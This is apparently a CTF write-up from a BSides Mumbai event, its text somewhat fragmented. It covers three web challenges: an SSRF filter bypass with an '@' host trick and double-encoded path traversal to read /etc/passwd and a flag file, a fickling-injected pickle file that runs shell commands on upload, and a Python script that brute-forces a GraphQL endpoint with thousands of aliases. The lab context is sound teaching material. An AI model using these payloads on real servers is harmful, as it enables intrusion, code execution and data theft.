Hack. Eat. Sleep. Repeat!!!
localhost
but I noticed that internal hosts get filtered.@
.If 2 hosts are separated with @
, any host placed after @
will get loaded and not the host before it.For example-:google.com@127.0.0.1
127.0.0.1
will get picked over google.com
.In my case, I used an ngrok host but you can use any host that doesn’t get blacklisted.
<!DOCTYPE html>
<html>
<head>
<title>CTF Challenge</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background-color: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background-color: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
}
.error {
color: red;
margin-bottom: 10px;
}
.success {
color: green;
margin-bottom: 10px;
}
input[type="text"], input[type="password"], input[type="file"] {
width: 100%;
padding: 10px;
margin-bottom: 10px;
border: 1px solid #ddd;
}
.user-table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
.user-table th, .user-table td {
padding: 8px;
border: 1px solid #ddd;
text-align: left;
}
.user-table th {
background-color: #f2f2f2;
}
</style>
</head>
<body>
<div class="container">
<h1>Login</h1>
<form method="post">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
<p>Don't have an account? <a href="/register">Register here</a></p>
</div>
</body>
</html>
/admin
page but I got the 403
error status forbiddem
.Since we have ssrf, we can force the server to make a request to the endpoint.jpg
so I have to load and show the output in a text editor.Arbitrary file read
because it is used to read files.I tried the basic ../../
but I got a 403 error.../
which worked.I was able to read the /etc/passwd
file./var/flag/flag.txt
.http://6.tcp.eu.ngrok.io:16967@127.0.0.1/admin/view_file?file=%252E%252E%252F%252E%252E%252Fvar%252Fflag%252Fflag.txt
BMCTF{LOCALHOST_isnt_ALWAYS_local}
Insecure Deserialization via pkl files upload to RCE
.It is not news that pickle.loads()
is a vulnerable function.Also the upload of pkl files which is used to store pickle bytes can be exploited if directly passed to pickle.loads()
.This site allows upload of pickle pkl
files.fickling
.You can install with pip instal fickling
.fickling --inject "int(__import__('os').popen('ls').read())" portfolio.pkl > ./portfolioz.pkl
os.system()
.I did this by abusing int()
feature which is used for integers in python.int()
triggers an error and also expose a value in the error if it is a string.Example-:ls
that I executed.fickling --inject "int(__import__('os').popen('cat flag.txt').read())" portfolio.pkl > ./portfolioz.pkl
BMCTF{pretty_lil_baby_you_say_that_maybe_youll_be_thinking_of_me_and_try_to_H4CK_me}
// GraphQL query
const query = `
query {
guessNumber(number: ${number}) {
correct
message
flag
}
}
`;
fetch('/graphql', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ query }),
})
Query
is made to the server to get data.You can view it as either a POST
or GET
request to grab data.An Alias
allows you to create multiple queries in a single request e.g if you are trying to bruteforce, you can send in multiple values in a single request e.g-> Query -:
query {
guessNumber(number: 10) {
correct
message
flag
}
}
-> Alias should have different name values,you’ll notice that the first name is first2
and the other is first1
-:
query {
first1: guessNumber(number: 10) {
correct
message
flag
}
first12: guessNumber(number: 11) {
correct
message
flag
}
}
5000
aliases per request.I tried 10000
aliases at first and 502 gateway error.I wrote a script to make it easier because I can’t manually create 5000 aliases.#! /usr/bin/env python3
import requests
import asyncio
pre_data = "query {\n me: guessNumber(number: 100000) {\n correct\n message\n flag\n }"
end_data = "}\n\n"
async def createData(min: int,max: int) -> str:
main_data = "" + pre_data
for i in range(min-1,max):
data = "\nmezz: guessNumber(number: zz) {\n correct\n message\n flag\n }\n".replace("zz",str(i))
main_data += data
return main_data + end_data
async def main():
for i in range(0,100000,5000):
data = {"query":await createData(i,i+5000)}
url = "https://abfb9883.bsidesmumbai.in/graphql"
data = requests.post(url,json=data)
if "BMCTF" in data.text:
print(f"[+] Range-:{i}:{i+5000}")
print("[+] Flag-: BMCTF{"+data.text.split("BMCTF{")[1].split("\"")[0])
exit()
else:
print(f"[-] Not in range-:{i}:{i+5000}")
if __name__ == "__main__":
asyncio.run(main())
BMCTF{4l14s_br34k_l1m1ts}